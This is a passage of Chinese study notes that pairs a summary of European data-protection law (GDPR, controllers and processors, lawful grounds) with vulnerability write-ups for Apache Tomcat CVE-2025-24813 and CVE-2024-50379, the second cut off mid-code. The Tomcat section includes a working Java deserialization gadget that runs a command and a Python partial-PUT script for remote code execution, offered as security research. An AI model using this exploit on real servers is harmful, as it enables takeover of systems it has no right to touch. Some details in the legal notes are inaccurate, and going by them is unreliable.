欧洲机构 Compare European institutions 1、EU(European Union 欧盟)：27个成员国，经济与政治联盟，拥有以下的隐私与数据保护法： Charter of Fundamental Rights of the EU(CFREU)：欧盟基本权利宪章 Treaty on the Functioning of the EU(TFEU)：欧盟条约 Lisbon Treaty：里斯本条约 General Data Protection Regulation(GDPR)：通用数据保护条约 ePrivacy Directive：电子隐私指令 National data protection laws across Europe：欧洲各国数据保护法 2、COE(Council of Europe 欧洲委员会)：46个成员国（包含欧盟的26个），没有立法能力，但能影响法律的执行和方向。制定的公约或机构有： European Convention of Human Rights(ECHR)：欧洲人权公约，用于保护人权、民主和法治 European Court of Human Rights(ECtHR)：欧洲人权法院，用于监督遵守欧洲人权条约 CoE Convention：欧洲委员会公约(108公约)，关于个人数据自动处理的公约 3、European Economic Area(EEA 欧洲经济区)：经济区域，包含欧盟成员国和冰岛、挪威、列支敦士登（非欧盟国家在EEA要采纳欧盟关于单一市场的立法），立法核心如下： Agreement of European Economic Area（1994）：1994欧洲经济区协议 Allow European Free Trade Association(EFTA)participate internal market：欧洲自由贸易协会成员完参与内部市场 注：瑞士不是EEA协议的一部分，采取的是双边协议 Compare CFREU of ECHR Charter of Fundamental Rights of the EU European Convention of Human Rights 欧盟 欧洲委员会 依据里斯本条约确定基本权利 以1948-12-10通过的世界人权宣言为基础 满足于欧盟 欧洲的基本权利文件（不仅是欧盟） 确定数据保护的单独权利 包括数据保护（私人生活）的权利 整体来说，欧盟基本权利宪章不得违反欧洲人权公约，人权公约相比于欧盟基本权利宪章要包括的更广泛，但欧盟基本权利宪章可以提供更高的保护水平。 Article 8 is considered open-ended provisions for European Convention of Human Rights ：第 8 条被称为最开放性的条款，8.2中划定个人数据保护的例外情况，平衡了个人数据保护和公共利益： Public security and safety：国家或公共安全 Economic well-being of country：国家经济福祉 Prevention of disorder of crime：防止混乱与犯罪 Protection of health and morals：保护健康与道德 Protection of rights and freedoms of others：保护他人的权利与自由 Compare CJEU of ECtHR Court of Justice of the EU European Court of Human Rights 欧盟的司法机构 欧洲委员会机关之一 欧盟法律问题和执行决定 执行欧洲人权公约和108公约 欧洲法院(ECJ)：欧盟最高法院，裁决欧盟法律争议，初审法院(CFI)：审理自然人或法人提起的诉讼以及欧共体和雇员争议 以个人身份任职，不代表任何国家 成员国相关案件中的数据保护 个人信息权的条件细化为合法性、合目的性、合比例性的干涉三要件的相关保护 Based in Lusembourg(卢森堡) Based in Strasbourg upholds(斯特拉斯堡) The rights for EU Institutions 欧洲理事会（European Council） 构成：由欧盟所有国家的国家元首或政府首脑、欧洲理事会主席、欧盟委员会主席组成 。 职能：确定欧盟的优先事项，为欧盟设定政治方向 。 欧盟委员会（European Commission） 构成：每个成员国各有一名委员，委员需承诺遵守欧盟条约 。 职能: 执行欧盟的决定和政策 。 拥有广泛职能，包括立法提案权 。 在数据保护方面，是历史上最活跃的欧盟机构 。 欧盟理事会（Council of the EU） 构成：每个成员国派一名部长，根据讨论的政策问题而变动 。 职能: 与欧洲议会共同进行立法决策 。 立法通常由欧盟委员会提出，再由欧盟理事会和欧洲议会审议 。 欧洲议会（European Parliament） 性质：唯一由成员直接选举产生的欧盟机构 。 职能: 主要负责立法制定、对其他机构进行监督以及编制预算 。 在数据保护和隐私问题上，通过立法程序发挥最大影响力 。 共同决策程序（Co - decision Procedure）：欧盟理事会和欧洲议会就立法达成一致的程序 发展历程 An evolving harmonised approach 1、Organisation for Economic Co - operation and Development：经济合作与发展组织在1980年发布了《The protection of Privacy and Transborder Flow of Personal Data》隐私保护与个人数据跨境流动准则，作用如下： Nonbinding：不具有法律强制约束力，但为成员国及相关方在数据保护方面提供了重要指引 。 Protection of personal data in global economy：着眼于全球经济环境下的个人数据保护 。 introduction of key principles on collection an use：引入了个人数据收集和使用的关键原则，比如限制收集原则、数据质量原则、目的明确原则、使用限制原则、安全保障原则、公开性原则、个人参与原则以及责任原则等 。这些原则为后续各国和地区制定数据保护法规奠定了基础，2013 年该准则进行了修订，以适应不断发展的数字环境。 2、1981年Convention 108/CoE Convention也称为Convention for the Protection of Individuals with Regard to the Automatic Processing of Personal Data，作用如下： Leaglly binding：对欧洲委员会成员国具有法律约束力的条约（也向非成员国开放）。 Limited to automatic processing of personal data：限定于个人数据的自动化处理 。 涵盖数据收集限制原则（应合法、公平收集数据）、数据质量原则（数据应准确、完整且及时更新）、目的明确原则（收集数据目的应明确且合法）等。2018 年 10 月推出《第 108 号公约＋》 3、1995年The EU Data Protection Directive 欧盟数据保护指令，作用如下： Leaglly binding：具备法律约束效力。 EU Member required to transpose and implement them：设定了通用的数据保护原则与义务 。欧盟成员国需将其转化为国内法并实施，这推动了欧盟内部在数据保护领域的统一规范。 4、2000年颁布欧洲基本权利宪章(CFREU)与电子商务指令，作用如下： CFREU：直至2007年《里斯本条约》才具有了法律约束力，旨在强化和完善欧盟的核心架构，助力欧盟更高效地运作。 The E-Commerce Directive of 2000：主及信息社会服务在欧盟内部市场的特定法律方面，尤其是电子商务领域。它规范了诸如在线服务提供商的责任、服务提供的规则、商业信息传播等方面，为欧盟内部电子商务的有序开展提供法律框架 。明确将个人数据处理相关问题排除在其适用范围之外。这意味着在处理电子商务活动中的个人数据时，不能依据该指令。 5、2002年颁布ePrivacy Directive 电子隐私指令 管辖范围：关注电子通信领域的个人数据处理和隐私保护 。在电子通信行业快速发展、数据流通频繁的背景下，该指令为规范行业数据处理行为、保护用户隐私提供依据。 具体规则：针对互联网服务提供商（ISPs），制定了营销活动、Cookie 使用以及安全漏洞通知等方面的特定规则 。比如规定网站使用 Cookie 时需向用户告知并获得同意，ISP 在发现安全漏洞时要及时通知相关方式等 6、2006年颁布The EU Data Retention Directive(欧盟数据保留指令) 范围：规定互联网服务提供商（ISP）和电信公司有义务留存通信元数据 。留存这些数据是为了在执法需要时能够获取相关信息。 争议：2014 年在 Digital Rights Ireland案中，欧盟法院对该指令的有效性提出质疑并将其推翻 。这是因为该指令在实施过程中，可能存在对公民基本权利，如隐私权等的过度干预，引发了广泛争议。 6、2007年颁布The Treaty of Lisbon，直至2009年生效。 赋予宪章约束力：《里斯本条约》在 2009 年生效后，使《欧盟基本权利宪章》（CFREU ）成为具有强制力的法律 推动数据保护法发展：该条约对欧盟数据保护法的发展起到推动作用 。它从整体法律框架层面为欧盟在数据保护领域的立法和执法提供了支撑 7、2016年颁布GDPR，于2019年生效。 GDPR 统一规则：GDPR目标是为所有欧盟成员国提供一套统一的数据保护规则 ，成员国法律需与 GDPR 保持一致，要么废除不符合的法律，要么进行修订，约 50 项条款允许成员国法律进行细化说明或规定例外情况。 监管机构：2018 年，欧洲数据保护委员会（EDPB）取代了原有的第 29 条工作组(WP29)，WP29 是依据之前的欧盟数据保护指令设立的，主要由各成员国数据保护监管机构代表组成。 Interplay between the ePrivacy and GDPR 范围界定：：ePrivacy Directive 适用于电子通信服务、电子通信网络，以及在欧盟公开提供的服务和网络，比如网站运营者（涉及 Cookie 等）或从事直接营销等业务的主体 ；GDPR 则覆盖 任何形式的个人数据处理，无论使用何种技术 。 特别法优先：特殊规定优先于一般规则。如 GDPR 第 6 条规定了一系列数据处理合法依据，但电子通信服务提供商处理流量数据时，ePrivacy Directive 第 6 条明确限制了包括个人数据在内的流量数据处理条件，此时应优先适用 ePrivacy Directive 。 互补关系：ePrivacy Directive 的多项条款对 GDPR 起到补充作用，例如在个人数据泄露通知义务方面，ePrivacy Directive 的相关规定可进一步细化和补充 。 一般法适用（lex generalis）：当特别法优先原则不适用时，将适用一般规则，即GDPR。 数据保护机构的职责：当个人数据同时触发GDPR和ePrivacy Directive适用范围时，数据保护机构要审查相关数据，需要国家法律授权，才能依据ePrivacy Directive 的法律赋予的监督权利，审查受国内 ePrivacy 规则管辖的数据处理操作 。 个人数据 four step test personal data 如何判断是否数据个人数据，在GDPR第4条第1款中给出了四步测试法，标准都需要满足，如下： 第一步：判断是否属于任何信息。明确哪些内容能被认定为信息，这是判定个人数据的基础，只有符合信息范畴，才可能进一步成为个人数据。 第二步：确定信息是否与个人存在关联，比如涉及个人的行为、特征、活动等方面，建立起信息和个人之间的联系纽带。 第三步：确认是否涉及 已识别或可识别的……。可通过直接方式或者间接方式识别到个人数据。 第四步：确定是否指向自然人。明确个人数据所关联的对象是具有自然生命的个体，而非法人等其他主体 personal data element 个人数据要素构成了个人信息的数据片段，分为一般个人数据要素和关联个人数据要素，由于个人数据要素的种类繁多，聚合起来使个人数据更加非常，也更难去标识化 。 General personal data element: 包含性别、年龄、出生日期、国籍、语言、婚姻状况等 ，是能反映个人基本属性的信息。 Relational personal data element: 涵盖实际地址、电话号码、电子邮件地址、内部编号、政府颁发的证件号码、身份验证信息等 ，多与个人在社会活动、组织关联中的身份识别有关。 Anonymous and Pseudonymous 匿名化数据: 个人信息经过处理无法识别自然人且不能复原过程，在GDPR中不属于个人数据，不受到保护。比如从病历中删除患者姓名等个人信息，仅保留疾病诊断、检查结果等通用医学数据用于研究。 假名化数据:以某种方式处理个人数据，个人数据无法再通过不使用附加信息的方式归属于特定数据主体，前提是附加信息被单独存储，并采取技术性和组织性措施确保个人数据不会被归属于已识别或可识别的自然人 ，受到GDPR的保护。 Personal Data categories 特殊类别的个人数据因为对个人隐私权利的影响深远，在GDPR中会拥有更高的保护标准，一般禁止处理，除数据主体明确同意或与公共利益等相关。 Personal data revealing racial or ethnic origin:宗教或族裔出身等。 Political opinions，religious or philosophical beliefs，or trade-union membership:政治观点、宗教或哲学信仰、工会会员资格。 Genetic or biometric data for the purpose of uniquely idensssstifying a natural person:用于唯一识别自然人的基因或生物特征数据。 Data concerning health，sex life or sexual orientation:健康状况、性生活或性取向的数据。 Data related to criminal convictions and offences:刑事定罪和犯罪行为相关的数据，仅在官方机构控制下进行并且仅在官网机构控制下保存。 控制者与处理者 Data Protection roles 数据保护的角色主要分为四类，如下： Data Subject(数据主体): 个人信息处理对象 Data controller(数据控制者):决定处理个人信息目的和方式的组织或个人 Data processor(数据处理者): 代表数据控制者处理信息的组织或个人 DPA(数据保护机构): 负责执行隐私或数据保护的实体特定司法辖区的保护法律和法规。 Controller 控制者：单独或与他人共同决定个人数据的目的和手段的自然人、法人、公共当局、机构或其它实体。 控制者不一定需要访问正在处理的数据才能被视为控制者，控制者主要是确定处理的目的和方式： 处理的目的决定了为何处理 处理的方式决定了如何处理 处理哪些数据 数据保留多长时间以及由谁保留 数据存诸和传输在哪里 谁处理数据 当两个或两个以上的控制器共同决定处理的目的和方式时，称为共同控制器(joint controllers)，在GDPR第26条中明确了共同决定处理个人数据的控制器义务： 联合数据控制者需以透明方式确定各自在遵守条例义务方面的责任： 数据主体访问请求 数据主体权利行使 为数据主体提供联系点 数据主体知晓 “安排的实质内容” 。数据主体可针对任一联合控制者行使权利，无论相关安排条款如何 EDPB(欧洲数据委员会)发布的指南可以知悉： Join Controller形式如下： 两个或多个实体共同做出决定 。比如多家企业联合开展市场调研项目，共同决定收集哪些消费者个人数据、如何使用这些数据等 两个或多个实体做出趋同决定 。即各方决定虽不完全相同，但在关键方面趋于一致，都对数据处理的目的和方式产生影响 。 决定的互补性：各方决定相互补充，是数据处理得以进行的必要条件 。任何一方的决定缺失，都可能影响数据处理的合法性和完整性 对处理目的和方式确定的实质影响：联合控制者的参与对确定数据处理的目的和方式有切实影响 。若无双方参与，数据处理无法进行，说明双方在数据处理中紧密相连，缺一不可 。 Processor Processor:代表控制者处理个人数据的自然人、法人、公共当局、机构或其他实体。在GDPR中，数据处理者会分担职责和责任，但数据保护主要责任仍在数据控制者。 处理依据：依据GDPR第 28 条，数据处理者仅根据书面指示处理个人数据 。需获得授权，并通过数据处理协议明确与数据控制者的关系条款 。比如企业委托第三方数据处理公司分析客户数据，双方需签订协议，规定处理的具体要求、范围等 服务提供：为数据控制者提供服务，协助控制者并在发现 GDPR 违规情况时通知控制者 。例如，若处理过程中发现数据泄露风险，处理者要及时告知控制者。 数据保护： 安全措施：根据第 28 条，需采取措施保护个人数据，确保数据保密性，运用适当技术和组织措施 。像使用加密技术保护数据存储安全，建立严格的访问控制制度。 合规记录：依照第 30 条，要记录代表控制者进行的各类个人数据处理活动 。如记录数据处理的时间、方式、涉及的数据类别等，便于追溯和合规审查。 在EDPB中，判定Processor的标准如下： 独立实体：是与数据控制者分离的独立实体 。 代表处理：代表数据控制者处理个人数据 。 指令裁量：在控制者指示下有一定裁量权 。 注：在GDPR中，如果Processor自行决定个人数据处理的目的和方式，从而违反条例。那么该处理者可能被视为controller，关键在于谁做出处理决策，这种决策行为的影响力高于法律规定本身。 Compare Controller and processor 责任要求 Controllers Processor Roles are interchangeable depending on the procession operation(角色可互换) ✔ ✔ Data compliance with international data transfer rules ✔ ✔ Subject to large administrative fines(行政处罚) if obligations are not met ✔ ✔ Subject to compensation claims from individuals if obligations are not met ✔ ✔ Record-keeping ✔ ✔ Legally responsible for data protection ✔ ✔ Ultimate accountability for data protection ✔ ❌ Makes decisions that relate to the purpose of processing personal data ✔ ❌ Vendor Management GDPR中关于供应商风险管理也有一定的要求，但是理论要求在实际操作中存在一定的挑战，如下： 第三方评估范围：控制者需明确在合同签订前后评估第三方（包括进行审计）的程度。例如与新供应商合作，要确定审计频率、范围等，确保供应商合规处理数据，但尺度难把握 合同条款复杂： GDPR相关合同条款复杂，增加理解和执行难度 力量差异： 双方的谈判力量不平等或来自欧盟与非欧盟辖区，谈判合同困难。如大型跨国企业与小型供应商，地位不对等，谈判难达成平衡数据保护与商业利益的合同 云计算场景复杂: 涉及云计算时，难随时确切知晓数据处理操作性质。 离岸外包：很多控制者 - 处理者关系中，数据会跨境传输。GDPR规定，若接收第三国获充分性认定（有足够数据保护水平），可传输；若无，需采取适当保障措施，如标准合同条款、监管机构批准的临时合同、经批准的处理者约束性公司规则 若数据控制者未充分尽职确保处理者采取适当数据保护措施，最终需承担责任 。强调控制者在供应商风险管理中积极作为，监督处理者保护数据。可使用清单梳理合同签订前尽职调查需考虑问题及采取必要步骤的证据 。 Pre-contractual due-diligence 关于处理者的义务，前面有提到： 问责性：处理者需履行 GDPR 规定的义务，具备可问责性。比如要做好记录保存工作，留存数据处理活动相关记录等，适用情况下可任命DPO 数据主体权利：回应数据主体权利请求，如访问、更正、删除数据等请求 安全性：控制者要将安全置于与潜在处理者合作关系的优先地位 数据保护措施：控制者要确保有足够的控制措施来保护数据 在评估处理者的时候，至少要提出以下问题： 目前是否正在接受数据保护监管机构的调查？ 如果聘请了欧洲经济区以外的次级处理者，是否在该任命中采取了适当的合规措施？ 他们是否聘请次级处理者？是否有次级处理者入职的程序？次级处理者位于何处？ 关于数据保护的政策框架是什么样的？ 他们是否获取了任何形式的认证，支持其遵守适当的数据保护标准或安全标准？如获得 ISO 27001 等相关信息安全管理体系认证 最近他们是否遭受过任何数据泄露？ 他们是否进行培训并有具体的数据保护政策？ Components and terms of a contract 当Controller雇佣了数据处理器、控制者有义务签订数据处理协议，协议要包含如下内容： 数据处理的主题、期限和性质 个人数据的类型和数据主体类别 控制者的义务和权利 处理者的责任 关于合同条款，参与的Processor一般需要遵循如下： 仅在书面控制者的指示下处理个人数据，包括跨境数据传输 处理器员工签署了保密协议，确保有权处理数据的人员承诺保密 适当的技术保护和组织措施 次级处理者需获取控制者同意并接受所有的合同条款 协助控制者向监管机构和受影响个人报告通知数据泄露的情况 协助控制者应对个人数据权利行使要求 在控制者指示下，删除或返回个人数据 向控制者提供所有的必要信息以证明符合GDPR的要求 接受包括检查在内的审计要求 数据处理 任何对个人数据或个人数据集合进行操作或一组操作，无论是否通过自动化手段，例如手机、记录、组织、结构化、存储、调整或修改、检索、咨询、使用、披露、对齐、限制、删除或销毁。 Data processing principles Data quality：个人数据应于使用目的相关，并在必要范围内保持准确、完整和最新。 Accountability：数据控制者必须对遵守上述原则和所涉及的措施负责。 Purpose specification：收集个人数据的用途最晚在收集数据时规定，并且后续使用受限于实现这些目的并与这些目的相兼容，能在变更时再次予以规定。 Openness：应有一项关于个人数据开发、实践和政策的一般开放政策，应有简便的方法确认个人数据是否存在以及数据的性质与用途，以及数据控制者的身份和通常居住地。 Individual partcipation：个人主体对数据应有以下权利： 从数据控制者或其他方式确认数据控制者是否持有其数据 在合理的时间内，以合理的方式和易于理解的形式获取到相关的数据 如果提出的请求被拒绝，获取拒绝理由并有权挑战拒绝 挑战与其相关的数据，如果挑战成果，有权删除、更正、补充和修改数据 Collection limitation：限制个人数据的收集，此类数据应以合法、公平方式收集，必要时获得数据主体的知情或同意。 Use limitation：个人数据不应用于除根据目的规定的用途之外的其它用途，除非数据主体同意或法律授权。 Security safeguards：个人数据得到合理的安全保障，防止数据丢失，未授权访问，破坏、使用、修改或披露等风险。 在GDPR中，原则与OECD大致相同，主要规定如下： 合法性、公平性和透明度 目的限制 最小化数据：仅处理对于目的而言相关和必要的个人数据 数据质量和准确性 数据保留限制 完整性和保密性 责任制 Three criteria of personal data GDPR列出了数据处理适用于其的三项标准，包括地域范围和实质性范围，只需要满足任何一项，GDPR即适用。 地域范围： 当数据处理与欧盟内控制者或处理者机构的活动相关（无论实际处理是否在欧盟境内） 针对欧盟境内的个人数据主体的数据处理，与提供商品或服务或在欧盟境内监控其行为相关（当控制者和处理者不在欧盟境内时） 依据国际公法，在欧盟以外但在成员国法律适用的地方由数据控制者处理个人数据。 实质性范围： 自动化处理：全部或部分通过自动化手段进行的个人数据处理，指无需或部分无需人类干预的处理操作 。需注意与自动化决策区分，自动化决策在 GDPR 下有严格限制 。 非自动化但构成档案系统部分的处理：即便不是通过自动化手段处理，只要个人数据构成档案系统的一部分，也在实质性范围内 。这里强调只要数据是档案系统一部分，无论处理手段如何都受规管。 排除情形： 欧盟法律范围外的活动（如国家安全活动） 。 执法和公共安全活动 。 纯粹的个人或家庭活动 。这些活动不在 GDPR 关于个人数据处理实质性范围的约束内 。 Lawful grounds for controllers 同意（Consent）：数据主体明确、自愿且知情地同意数据控制者处理其个人数据 。这是常见合法基础，例如用户注册软件时勾选同意隐私政策，就是给予同意。 履行合同（Performance of a contract）：当处理个人数据是履行与数据主体所签合同的必要条件，或者数据主体为订立合同主动请求处理时适用 。如电商处理消费者收货信息用于发货，就属于履行合同范畴。 法律义务（Legal obligation） 解释：指数据控制者需遵守欧盟及成员国法律规定的法律义务。 范围限定：仅适用于欧盟及成员国法律要求，不包括合同约定的法律义务，也不涉及欧盟以外第三国法律规定的义务 。例如企业按欧盟税务法规要求处理员工薪资数据，就符合该合法依据。 重大利益（Vital interest）：通常涉及保障生命安全等至关重要的情况，比如紧急医疗救治时处理患者个人数据 。 公共利益（Public interest）：基于公共利益需求处理个人数据，如政府部门为公共卫生防疫追踪密切接触者信息 。 合法利益（Legitimate interests）： 适用情况：为数据控制者或第三方的合法利益所必需（但不能凌驾于数据主体的利益、权利或自由之上，特别是当数据主体为儿童时 ）。常作为在缺乏其他合法处理依据时的兜底选项 。 使用注意：虽有时比获取同意更具现实可操作性，但使用时需谨慎评估，确保不损害数据主体权益 。 注意：对于儿童数据的处理，需要更加严格，当孩子未满13-16岁时，必须获取父母或监护人的同意。 Special categories of personal data 对于特殊类别的个人数据，除了以下的情况，禁止处理： 数据主体明确、自愿、具体且知情的同意和肯定行为 政治、哲学和宗教目的 敏感数据由数据主体自愿公开 雇佣、就业需要 提起、行使或维护法律诉求 重大的公共利益 医药和社会医疗 公共健康 公共档案、科学或历史研究或统计资料
CVE-2025-24813 漏洞描述 由于Apache Tomcat的Partial PUT原始实现使用了一个基于用户提供的文件名和路径生成的临时文件，当处理不完整的PUT请求时，会将文件路径中的分隔符 / 替换为 .，当应用这时使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置，攻击者就可以通过 partial PUT请求将包含恶意序列化数据的文件上传至会话目录，并完成反序列化 影响版本： 9.0.0.M1至9.0.98 10.1.0-M1至10.1.34 11.0.0-M1至11.0.210.1.0-M1 利用条件 默认DefaultServlet启用了写入功能，即ReadOnly=False 支持Partial PUT请求 应用程序开启了Tomcat基于文件的会话持久化功能，并采用默认的存储位置 应用程序存在能被用于反序列化的库 漏洞复现 1、在Content.xml中需要开启Session的持久化存储 <Context> --> <WatchedResource>WEB-INF/web.xml</WatchedResource> <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource> <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context> 2、开启DefaultServlet的默认写入功能 <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> 假设Tomcat的本地依赖中存在Jackson链，则可以尝试打入以下反序列化文件，触发session的时候可能需要多执行几次并等待： package com.example.jackson; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class JacksonTomcat { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException { CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()}); setFieldValue(templatesImpl, "_name", "aiwin"); setFieldValue(templatesImpl, "_tfactory", null); POJONode pojoNode = new POJONode(templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp, "val", pojoNode); String result = serialize(exp); System.out.println(result); // unserialize(result); } public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Field dfield = object.getClass().getDeclaredField(field); dfield.setAccessible(true); dfield.set(object, value); } public static String serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(object); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("Test"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"calc\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser)); objectInputStream.readObject(); } } import base64 import requests url = "http://localhost:8080/test/session" headers = { "Host": "127.0.0.1:8080", "Content-Range": "bytes 0-1000/1200" } file=open('test.txt','r').read() result=requests.put(url,data=base64.b64decode(file),headers=headers) print(result) headers1={ "Host": "127.0.0.1:8080", 'Cookie':'JESSIONID=.test' } url1='http://localhost:8080/' result=requests.get(url1,headers=headers1) print(result) 漏洞分析 protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this.readOnly) { this.sendNotAllowed(req, resp); } else { String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); DefaultServlet.Range range = this.parseContentRange(req, resp); if (range != null) { Object resourceInputStream = null; try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); } if (this.resources.write(path, (InputStream)resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } else { try { resp.sendError(409); } catch (IllegalStateException var15) { } } } finally { if (resourceInputStream != null) { try { ((InputStream)resourceInputStream).close(); } catch (IOException var14) { } } } } } } 在DefaultServlet处理doPut请求的时候，当readOnly为False并且开启parseContentRange分块传输字段后，会进入到executePartialPut方法当中 protected File executePartialPut(HttpServletRequest req, DefaultServlet.Range range, String path) throws IOException { File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir"); String convertedResourcePath = path.replace('/', '.'); File contentFile = new File(tempDir, convertedResourcePath); if (contentFile.createNewFile()) { contentFile.deleteOnExit(); } RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw"); try { WebResource oldResource = this.resources.getResource(path); if (oldResource.isFile()) { //如果旧资源是文件，则通过缓冲输入流将旧资源内容读取到临时文件中 BufferedInputStream bufOldRevStream = new BufferedInputStream(oldResource.getInputStream(), 4096); try { byte[] copyBuffer = new byte[4096]; int numBytesRead; while((numBytesRead = bufOldRevStream.read(copyBuffer)) != -1) { randAccessContentFile.write(copyBuffer, 0, numBytesRead); } } catch (Throwable var18) { try { bufOldRevStream.close(); } catch (Throwable var15) { var18.addSuppressed(var15); } throw var18; } bufOldRevStream.close(); } randAccessContentFile.setLength(range.length); randAccessContentFile.seek(range.start); byte[] transferBuffer = new byte[4096]; BufferedInputStream requestBufInStream = new BufferedInputStream(req.getInputStream(), 4096); int numBytesRead; try { while((numBytesRead = requestBufInStream.read(transferBuffer)) != -1) { randAccessContentFile.write(transferBuffer, 0, numBytesRead); } } catch (Throwable var17) { try { requestBufInStream.close(); } catch (Throwable var16) { var17.addSuppressed(var16); } throw var17; } requestBufInStream.close(); } catch (Throwable var19) { try { randAccessContentFile.close(); } catch (Throwable var14) { var19.addSuppressed(var14); } throw var19; } randAccessContentFile.close(); return contentFile; } 在executePartialPut中，从上下文获取临时目录对象，将资源路径中的/替换为.，以读写模式打开新创建的临时文件，并从请求输入流中读取数据，使用缓冲流每次读取 4096 字节，将读取到的数据写入到临时文件中。这里的临时目录默认是`${CATALINA_BASE}/work/Catalina/${HOST_NAME}/${CONTEXT_PATH} 由于开启了Session的持久化存储，而session文件的默认存储点正好位于${CATALINA_BASE}/work/Catalina/${HOST_NAME}/${CONTEXT_PATH}/的临时文件夹， public Session load(String id) throws ClassNotFoundException, IOException { File file = this.file(id); if (file != null && file.exists()) { Context context = this.getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isTraceEnabled()) { contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()})); } ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null); ObjectInputStream ois; try { FileInputStream fis = new FileInputStream(file.getAbsolutePath()); StandardSession var9; try { ois = this.getObjectInputStream(fis); try { StandardSession session = (StandardSession)this.manager.createEmptySession(); session.readObjectData(ois); session.setManager(this.manager); var9 = session; } 此处id为session中加载到的key，因此会在临时文件夹下找到关于session命名的文件，并通过流读取到文件的内容，最终通过readObjectData对文件中的内容进行反序列化，达到RCE的效果。 CVE-2024-50379 漏洞描述 由于MacOS和Windows平台的Tomcat在加载JSP的文件时，使用File.exists()来检查文件是否存在，由于平台不区分大小写的性质，导致Tomcat可以通过条件竞争的方式加载xxx.Jsp的文件并成功写入到DefaultServlet中，导致服务器权限被接管。 影响版本： 1.0.0-M1 <= Apache Tomcat <= 11.0.1 10.1.0-M1 <= Apache Tomcat <= 10.1.33 9.0.0.M1 <= Apache Tomcat <= 9.0.97 利用条件 DefaultServlet启用了默认HTTP PUT写入的功能，或存在任意的文件上传漏洞。 <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> 漏洞分析 1、在访问Tomcat的资源的时候，会通过getResource方法安全访问Web应用的资源，首先通过验证的路径获取资源，如果资源不存在，返回的是一个空的资源对象。DirResourceSet从WebResourceSet继承实现了接口。 public WebResource getResource(String path) { this.checkPath(path); String webAppMount = this.getWebAppMount(); WebResourceRoot root = this.getRoot(); if (path.startsWith(webAppMount)) { File f = this.file(path.substring(webAppMount.length()), false); if (f == null) { return new EmptyResource(root, path); } else if (!f.exists()) { return new EmptyResource(root, path, f); } else { if (f.isDirectory() && path.charAt(path.length() - 1) != '/') { path = path + '/'; } return new FileResource(root, path, f, this.isReadOnly(), this.getManifest()); } } else { return new EmptyResource(root, path); } } 2、在file方法中，前期会对获取的资源文件进行安全的检查，如阻止符号链接，检查文件是否非法，并通过normalize统一平台路径的分割符。 protected final File file(String name, boolean mustExist) { if (name.equals("/")) { name = ""; } File file = new File(this.fileBase, name); if (name.endsWith("/") && file.isFile()) { return null; } else if (mustExist && !file.canRead()) { return null; } else if (this.getRoot().getAllowLinking()) { return file; } else if (JrePlatform.IS_WINDOWS && this.isInvalidWindowsFilename(name)) { return null; } else { String canPath = null; try { canPath = file.getCanonicalPath(); } catch (IOException var6) { } if (canPath != null && canPath.startsWith(this.canonicalBase)) { String absPath = this.normalize(file.getAbsolutePath()); if (this.absoluteBase.length() > absPath.length()) { return null; } else { absPath = absPath.substring(this.absoluteBase.length()); canPath = canPath.substring(this.canonicalBase.length()); if (canPath.length() > 0) { canPath = this.normalize(canPath); } if (!canPath.equals(absPath)) { if (!canPath.equalsIgnoreCase(absPath)) { this.logIgnoredSymlink(this.getRoot().getContext().getName(), absPath, canPath); } return null; } else { return file; } } } else { return null; } } } 当我们访问test.jsp的时候，在经过file.getCanonicalPath()方法时，得到的canPath是test.Jsp，这个函数的是用于规范路径名字符串，会解析符号链接，但是它是区分大小写的。 这里的getCanonicalPath中触发的canonicalize是由C语言实现的native， JNIEXPORT jstring JNICALL 